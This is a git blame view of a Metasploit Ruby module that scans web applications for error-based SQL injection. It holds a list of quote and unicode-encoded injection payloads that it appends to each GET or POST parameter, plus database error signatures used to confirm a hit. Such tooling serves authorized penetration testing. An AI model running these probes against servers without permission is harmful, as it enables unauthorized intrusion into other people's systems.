Files
metasploit-gs/modules/auxiliary/scanner/http/error_sql_injection.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

275 lines
7.8 KiB
Ruby
Raw Normal View History

2009-12-30 22:24:22 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2009-12-30 22:24:22 +00:00
##
2021-01-28 10:35:25 +00:00
2009-12-30 22:24:22 +00:00
2017-07-14 08:46:59 +01:00
class MetasploitModule < Msf::Auxiliary
2009-12-30 22:24:22 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanUniqueQuery
2009-12-30 22:24:22 +00:00
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
def initialize(info = {})
super(update_info(info,
2009-12-30 22:24:22 +00:00
'Name' => 'HTTP Error Based SQL Injection Scanner',
'Description' => %q{
2017-08-26 21:01:10 -04:00
This module identifies the existence of Error Based SQL injection issues. Still requires a lot of work
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
},
'Author' => [ 'et [at] cyberspace.org' ],
2013-01-03 01:05:45 +01:00
'License' => BSD_LICENSE))
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
register_options(
[
OptEnum.new('METHOD', [true, 'HTTP Request Method', 'GET', ['GET', 'POST']]),
2009-12-30 22:24:22 +00:00
OptString.new('PATH', [ true, "The path/file to test SQL injection", '/default.aspx']),
OptString.new('QUERY',[ false, "HTTP URI Query", '']),
OptString.new('DATA', [ false, "HTTP Body/Data Query", ''])
])
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
register_advanced_options(
[
OptBool.new('NoDetailMessages', [ false, "Do not display detailed test messages", true ])
])
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
end
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
def run_host(ip)
2013-08-30 16:28:54 -05:00
http_method = datastore['METHOD'].upcase
2013-08-30 16:28:54 -05:00
2011-02-04 05:57:26 +00:00
qvars = nil
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
sqlinj = [
[ "'" ,'Single quote'],
[ "')",'Single quote and parenthesis'],
[ "\"",'Double quote'],
[ "%u0027",'unicode single quote'],
[ "%u02b9",'unicode single quote'],
[ "%u02bc",'unicode single quote'],
[ "%u02c8",'unicode single quote'],
[ "%c0%27",'unicode single quote'],
[ "%c0%a7",'unicode single quote'],
[ "%e0%80%a7",'unicode single quote'],
[ "#{rand(10)}'", 'Random value with single quote']
2009-12-30 22:24:22 +00:00
]
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
errorstr = [
["Unclosed quotation mark after the character string",'MSSQL','string'],
["Syntax error in string in query expression",'MSSQL','string'],
["Microsoft OLE DB Provider",'MSSQL','unknown'],
["You have an error in your SQL syntax",'MySQL','unknown'],
2011-02-04 05:57:26 +00:00
["java.sql.SQLException",'unknown','unknown'],
["ORA-",'ORACLE','unknown'],
["PLS-",'ORACLE','unknown'],
["Syntax error",'unknown','unknown'],
2009-12-30 22:24:22 +00:00
]
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
#
# Dealing with empty query/data and making them hashes.
#
2013-08-30 16:28:54 -05:00
if http_method =='GET'
if not datastore['QUERY'].empty?
qvars = queryparse(datastore['QUERY']) #Now its a Hash
else
2016-12-09 16:20:44 -06:00
print_error("You need to set QUERY param for GET")
return
end
2009-12-30 22:24:22 +00:00
else
if not datastore['DATA'].empty?
qvars = queryparse(datastore['DATA']) #Now its a Hash
else
2016-12-09 16:20:44 -06:00
print_error("You need to set DATA parameter for POST")
return
2011-02-22 20:49:44 +00:00
end
2009-12-30 22:24:22 +00:00
end
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
#
# Send normal request to check if error is generated
2009-12-30 22:24:22 +00:00
# (means the error is caused by other means)
#
#
2013-08-30 16:28:54 -05:00
if http_method == 'POST'
2011-02-04 05:57:26 +00:00
reqinfo = {
2012-11-08 17:42:48 +01:00
'uri' => normalize_uri(datastore['PATH']),
'query' => datastore['QUERY'],
'data' => datastore['DATA'],
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'encode' => false
2011-02-04 05:57:26 +00:00
}
else
reqinfo = {
2012-11-08 17:42:48 +01:00
'uri' => normalize_uri(datastore['PATH']),
'query' => datastore['QUERY'],
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'encode' => false
2011-02-04 05:57:26 +00:00
}
end
2013-08-30 16:28:54 -05:00
2011-02-04 05:57:26 +00:00
begin
normalres = send_request_raw(reqinfo, 20)
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
2009-12-30 22:24:22 +00:00
end
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
if !datastore['NoDetailMessages']
print_status("Normal request sent.")
2009-12-30 22:24:22 +00:00
end
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
found = false
inje = nil
dbt = nil
injt = nil
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
if normalres
errorstr.each do |estr,dbtype,injtype|
if normalres.body.include? estr
found = true
inje = estr
dbt = dbtype
injt = injtype
2009-12-30 22:24:22 +00:00
end
end
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
if found
print_error("[#{wmap_target_host}] Error string appears in the normal response, unable to test")
print_error("[#{wmap_target_host}] Error string: '#{inje}'")
2009-12-30 22:24:22 +00:00
print_error("[#{wmap_target_host}] DB TYPE: #{dbt}, Error type '#{injt}'")
2013-08-30 16:28:54 -05:00
report_web_vuln(
2009-12-30 22:24:22 +00:00
:host => ip,
:port => rport,
:vhost => vhost,
:ssl => ssl,
:path => datastore['PATH'],
:method => datastore['METHOD'],
:pname => "",
:proof => "Error: #{inje}",
:risk => 2,
:confidence => 50,
:category => 'Database error',
:description => "Error string appears in the normal response #{inje} #{dbt}",
:name => 'Database error'
2009-12-30 22:24:22 +00:00
)
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
return
end
else
print_error("[#{wmap_target_host}] No response")
return
2009-12-30 22:24:22 +00:00
end
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
#
# Test URI Query parameters
#
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
found = false
2013-08-30 16:28:54 -05:00
2011-02-04 05:57:26 +00:00
if qvars
2009-12-30 22:24:22 +00:00
sqlinj.each do |istr,idesc|
2013-08-30 16:28:54 -05:00
if found
break
2009-12-30 22:24:22 +00:00
end
2013-08-30 16:28:54 -05:00
2011-02-04 05:57:26 +00:00
qvars.each do |key,value|
if http_method == 'POST'
qvars = queryparse(datastore['DATA']) #Now its a Hash
else
qvars = queryparse(datastore['QUERY']) #Now its a Hash
end
2011-02-04 05:57:26 +00:00
qvars[key] = qvars[key]+istr
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
if !datastore['NoDetailMessages']
print_status("- Testing query with #{idesc}. Parameter #{key}:")
2009-12-30 22:24:22 +00:00
end
2013-08-30 16:28:54 -05:00
fstr = ""
2011-02-22 20:49:44 +00:00
qvars.each_pair do |var,val|
fstr += var+"="+val+"&"
end
2013-08-30 16:28:54 -05:00
if http_method == 'POST'
2011-02-04 05:57:26 +00:00
reqinfo = {
2012-11-08 17:42:48 +01:00
'uri' => normalize_uri(datastore['PATH']),
'query' => datastore['QUERY'],
'data' => fstr,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'encode' => false
2011-02-04 05:57:26 +00:00
}
2009-12-30 22:24:22 +00:00
else
2011-02-04 05:57:26 +00:00
reqinfo = {
2012-11-08 17:42:48 +01:00
'uri' => normalize_uri(datastore['PATH']),
'query' => fstr,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'encode' => false
2011-02-04 05:57:26 +00:00
}
2009-12-30 22:24:22 +00:00
end
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
begin
2013-08-30 16:28:54 -05:00
testres = send_request_raw(reqinfo, 20)
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
2009-12-30 22:24:22 +00:00
end
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
if testres
errorstr.each do |estr,dbtype,injtype|
if testres.body.include? estr
found = true
inje = estr
dbt = dbtype
injt = injtype
2009-12-30 22:24:22 +00:00
end
end
2013-08-30 16:28:54 -05:00
2009-12-30 22:24:22 +00:00
if found
2012-05-08 01:30:13 -05:00
print_good("[#{wmap_target_host}] SQL Injection found. (#{idesc}) (#{datastore['PATH']})")
print_good("[#{wmap_target_host}] Error string: '#{inje}' Test Value: #{qvars[key]}")
print_good("[#{wmap_target_host}] Vuln query parameter: #{key} DB TYPE: #{dbt}, Error type '#{injt}'")
2013-08-30 16:28:54 -05:00
report_web_vuln(
2009-12-30 22:24:22 +00:00
:host => ip,
:port => rport,
:vhost => vhost,
:ssl => ssl,
:path => datastore['PATH'],
:method => datastore['METHOD'],
:pname => key,
:proof => istr,
:risk => 2,
:confidence => 50,
:category => 'SQL injection',
:description => "Error string appears in the normal response #{inje} #{dbt}",
:name => 'SQL injection'
2009-12-30 22:24:22 +00:00
)
2013-08-30 16:28:54 -05:00
2011-02-04 05:57:26 +00:00
return
2009-12-30 22:24:22 +00:00
end
else
print_error("[#{wmap_target_host}] No response")
2009-12-30 22:24:22 +00:00
return
end
end
end
2013-08-30 16:28:54 -05:00
if http_method == 'POST'
qvars = queryparse(datastore['DATA']) #Now its a Hash
else
qvars = queryparse(datastore['QUERY']) #Now its a Hash
end
end
2011-02-22 20:49:44 +00:00
end
2009-12-30 22:24:22 +00:00
end